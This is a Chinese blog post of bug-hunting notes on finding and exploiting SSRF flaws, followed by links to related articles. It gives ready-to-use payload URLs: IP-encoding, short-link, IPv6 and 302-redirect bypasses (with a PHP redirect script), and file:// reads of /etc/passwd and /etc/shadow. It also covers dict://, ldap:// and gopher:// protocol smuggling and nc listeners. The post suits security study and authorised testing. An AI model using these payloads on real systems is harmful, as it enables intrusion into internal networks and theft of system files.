最近看了很多ssrf漏洞挖掘技巧和自己以往挖掘ssrf漏洞的一些技巧和经验,简单的总结下:

  之前自己总结的:

    

ssrf=服务器端请求伪造 基于服务器攻击 url链接 -->内网漫游/内网服务探测/内网开放端口探测/getshell/xss/xxe

http://test.com/proxy?url=服务器地址 ->服务器地址来源ip不是你本地的ip,那它就有八成概率存在ssrf了
对外访问地址,ip地址非本地

192.168.0.0 - 192.168.255.255
172.16.0.1 - 172.31.255.255
10.0.0.0 - 10.255.255.255
信任域
http://baidu.com -->
192.168.0.0 - 192.168.255.255
172.16.0.1 - 172.31.255.255
10.0.0.0 - 10.255.255.255

http://baidu.com/proxy?url=http://服务器ip

打开我们服务器:
nc -lvvp 端口号:
1.是否会有请求 -->判断是否会对外发起请求
2.来源ip -->判断是否是从服务器发起请求

ssrf为了干什么?
探测内网的信息/内网信息漫游?
http://baidu.com/proxy?url=http://127.0.0.1 //hello world 测试环境
通过外网访问到内网
ssrf多数存在于url参数上。
url跳转/分享端链接/打印文本可能就存在ssrf攻击
url,xurl,loginUrl,urlxxx,xxxurl,xxx_url 都应该去尝试ssrf攻击
xxx代表*

ssrf绕过

127.0.0.1 ->127.0.1.1.xip.io
127.0.0.1 ->整数ip->http://2130706433
十六进制。八进制ip
参考:https://www.silisoftware.com/tools/ipconverter.php?convert_from=127.0.0.1
ssrf的漏洞的实践文章参考:
https://shuimugan.com/?BugSearch%5Bbug_no%5D=&BugSearch%5Btitle%5D=ssrf&BugSearch%5Bvendor%5D=&BugSearch%5Bauthor%5D=&BugSearch%5Bbug_type%5D=&BugSearch%5Bbug_level_by_whitehat%5D=&BugSearch%5Bbug_level_by_vendor%5D=&BugSearch%5Brank_by_whitehat%5D=&BugSearch%5Bbug_date%5D=

短网址绕过
http://127.0.0.1
短网址
https://www.ft12.com/
https://tb.am/
加密的ip进行二次短网址生成。
别的绕过:
http://[::]/

http://[::]:22/

http://[::]:25/

利用302跳转绕过:

302.php

<?php header("location:".$_GET['u']); ?>

http://***.com/302.php?u=http://[::]/

或者是其他内网地址

关于信任域名:

如果测试的站点是http://test.com,验证了*.test.com那怎么绕?

可以这样:

设置hosts文件

内网ip    *.test.com

然后直接通过http://test.com/proxy?url=*.test.com ->自动解析访问内网地址

再谈302跳转:

信任域名验证还能怎么玩?

url跳转 *.test.com某站存在url跳转

url跳转:http://*.test.com/xxx.php?url=内网ip

ssrf利用:

http://test.com/proxy?url=http://*.test.com/xxx.php?url=内网ip(url跳转)

还能怎么玩?

如果没url跳转呢?

老办法

设置hosts文件

内网ip    *.test.com

http://test.com/proxy?url=http://*.test.com/302.php?url=内网ip(url跳转)

还有什么办法绕过信任域名?

http://test.com/proxy?url=http://test.com@内网ip

还有哪些绕过?可能http/https请求被禁用

还可以尝试如下协议:

如下:

file:///
dict://
sftp://
ldap://
tftp://
gopher://

file是文件传输,所以常说ssrf到文件读取:

 file:///


File是用来从文件系统获取文件

windows:
  http://test.com/proxy?url=file:///C:/Windows/win.ini
linux:
  http://test.com/proxy?url=file:///etc/passwd
  可能etc/passwd被过滤,可以尝试读取别的目录如/etc/shadow /etc/hosts可以读usr或者tmp目录等 可以看看linux系统目录结构

dict:// -
DICT URL方案用于表示使用DICT协议可用的定义或单词列表:
客户端:发起请求:http://test.com/proxy?url=dict://服务器地址:1337
服务器:nc -lvp 1337
  查看是否有返回请求

sftp:// 
Sftp代表SSH文件传输协议,或安全文件传输协议,是SSH的内含协议,在安全连接上与SSH类似

tftp:// -
简单文件传输协议是一种简单的锁步文件传输协议,它允许客户端从远程主机获取文件或将文件放到远程主机上

同理和dict://用法一样

特殊点的:

ldap:// or ldaps:// or ldapi:// -
LDAP代表轻量级目录访问协议。它是一种通过IP网络管理和访问分布式目录信息服务的应用协议。

http://test.com/proxy?url=ldaps://localhost:1337/%0astats%0aquit
http://test.com/proxy?url=ldap://localhost:1337/%0astats%0aquit
http://test.com/proxy?url=ldapi://localhost:1337/%0astats%0aquit

直接遍历1337就行

gopher:// -
Gopher是一种分布式的文档传递服务。它允许用户以无缝的方式探索、搜索和检索驻留在不同位置的信息。

   http://test.com/proxy?url=gophar://服务器地址/gophar.php

  gophar.php内容:

  另一台服务器:

<?php
header('Location: gopher://另一台服务器:1337/_Hi%0Assrf%0Atest');
?>
另一台服务器nc -lvp 1337
  返回
  Hi\nssrf\ntest
其实我们自己在漏洞挖掘中根本没有我们想象的那么复杂化。。。

讲些隐蔽点的ssrf挖掘姿势,个人感觉很骚,平常没怎么关注到的:

  文件上传处ssrf:

  常见位置:

    

文件上传数据包里面有imagePath/Path等参数,可以自定义图片地址的:

   尝试修改成:http://内网ip/favicon.ico favicon.ico不多说了自行百度了解,如果批量上传有上传成功的说明存在ssrf!

文件上传利用2:

  今天看到的案例:

  文件上传type一般都是file <input type="file">

  如果我们尝试把<input type="file">改成type="url"是不是就和上面的案例一样,批量上传http://内网ip/favicon.ico尝试ssrf是否会有上传成功的图片:

  案例:

    

从上传变成url地址上传:

先写这么多,记录下,方便以后查阅方便。基本上漏洞挖掘,没这么复杂。。

												

谈谈SSRF漏洞挖掘的更多相关文章

  1. SSRF漏洞挖掘利用技巧

    参考文章 SSRF漏洞(原理&绕过姿势) SSRF绕过方法总结 SSRF绕过IP限制方法总结 Tag: #SSRF Ref: 概述 总结 利用一个可以发起网络请求的服务当作跳板来攻击内部其他服 ...

  2. SSRF漏洞挖掘经验

    SSRF概述 SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞.一般情况下,SSRF攻击的目标是从外网无法访问 ...

  3. 6.(转载)SSRF漏洞挖掘经验

    SSRF 漏洞的寻找 一.从WEB功能上寻找 我们从上面的概述可以看出,SSRF是由于服务端获取其他服务器的相关信息的功能中形成的,因此我们大可以 列举几种在web 应用中常见的从服务端获取其他服务器 ...

  4. SSRF漏洞的挖掘经验

    本文转自:https://sobug.com/article/detail/11 SSRF概述 SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造 ...

  5. 实战篇丨聊一聊SSRF漏洞的挖掘思路与技巧

    在刚结束的互联网安全城市巡回赛中,R师傅凭借丰富的挖洞经验,实现了8家SRC大满贯,获得了第一名的好成绩!R师傅结合自身经验并期许新手小白要多了解各种安全漏洞,并应用到实际操作中,从而丰富自己的挖洞经 ...

  6. SSRF漏洞的挖掘思路与技巧

    什么是SSRF? SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞.一般情况下,SSRF攻击的目标是从外网无法 ...

  7. 关于PHP代码审计和漏洞挖掘的一点思考

    这里对PHP的代码审计和漏洞挖掘的思路做一下总结,都是个人观点,有不对的地方请多多指出. PHP的漏洞有很大一部分是来自于程序员本身的经验不足,当然和服务器的配置有关,但那属于系统安全范畴了,我不太懂 ...

  8. SSRF漏洞浅析

    大部分web应用都提供了从其他的服务器上获取数据的功能,如使用用户指定的URL,web应用可以获取图片,下载文件,读取文件内容等.如果服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与 ...

  9. 浅析通过"监控"来辅助进行漏洞挖掘

    这篇文章总结了一些笔者个人在漏洞挖掘这一块的"姿势",看了下好像也没相关类似TIPs或者文章出现,就写下此文. 本文作者:Auther : vulkey@MstLab(米斯特安全攻 ...

随机推荐

  1. 永远不要眼高手低,Vue完整实现一套简单的增删改查CURD操作

    1: 永远不要眼高手低,看起来很简单,但是你从来没有去动手试一下,就不知道其中真正需要注意的许多细节, 2:完整code如下: 1 <!DOCTYPE html> 2 <html l ...

  2. Linux系列 -- XShell破解版安装教程

    目录 一.xshell6商业版安装教程 1. 为什么要用xshell 2. 打开Keygen软件获取注册码 3.安装Xmanager_PowerSuite软件 4.打开康康. 二.XShell远程连接 ...

  3. Mysql 高可用(MHA)-读写分离(Atlas)-分布式架构(Mycat)

    Mysql 高可用(MHA)-读写分离(Atlas) 1. 搭建主从复制(一主两从) 1.1 准备环境 1 主库:10.0.0.51/db01 2 从库:10.0.0.52/db02,10.0.0.5 ...

  4. Linux 安装python 模块及库

    转载于https://blog.csdn.net/csdn_am/article/details/79924744 有时我们使用下载python 自带的pip 安装一些工具包时,会报如下错误 找不到满 ...

  5. 共享内存与存储映射(mmap)

    [前言]对这两个理解还是不够深刻,写一篇博客来记录一下. 首先关于共享内存的链接:共享内存.里面包含了创建共享内存区域的函数,以及两个进程怎么挂载共享内存通信,分离.释放共享内存. 共享内存的好处就是 ...

  6. dom_bom学习

    1. bom是什么? browser object model(浏览器对象模型) 在浏览器中 window指的就是bom对象 //网页重定向 // window.location.href=" ...

  7. 越来越受欢迎的Vue想学么,90后小姐姐今儿来教你

    摘要:Vue的相关技术原理成为了前端岗位面试中的必考知识点,掌握 Vue 对于前端工程师来说更像是一门"必修课". 本文原作者为尹婷,擅长前端组件库研发和微信机器人. 我们发现, ...

  8. JAVA_标识符、数据类型、变量

    标识符和关键字 ​ 所有的标识符否应该以字母a ~ z和 A ~Z ,美元符($).下划线(_)开始. ​ 首字符之后可以是字母a ~ z和 A ~Z ,美元符($).下划线(_)的任意字符组合. 注 ...

  9. maven 常用命名

    maven项目,在命令行中操作,非常简洁.高效,现将maven项目常用命令行总结如下: maven命令行命令总结 序号 整理 统计 命令 作用 1 基本 5 mvn -v 查看maven版本 2 mv ...

  10. “/”应用程序中的服务器错误。||分析器错误消息: 未能加载类型“WebApplication1._Default”

    环境VS2008 无法运行WEB项目,Winfrom程序OK. 新创建的WEB项目直接运行报下图错误. 尝试多种方法: 1,重新生成项目,运行.(失败) 2,重装VS2008(默认.完全.自定义)安装 ...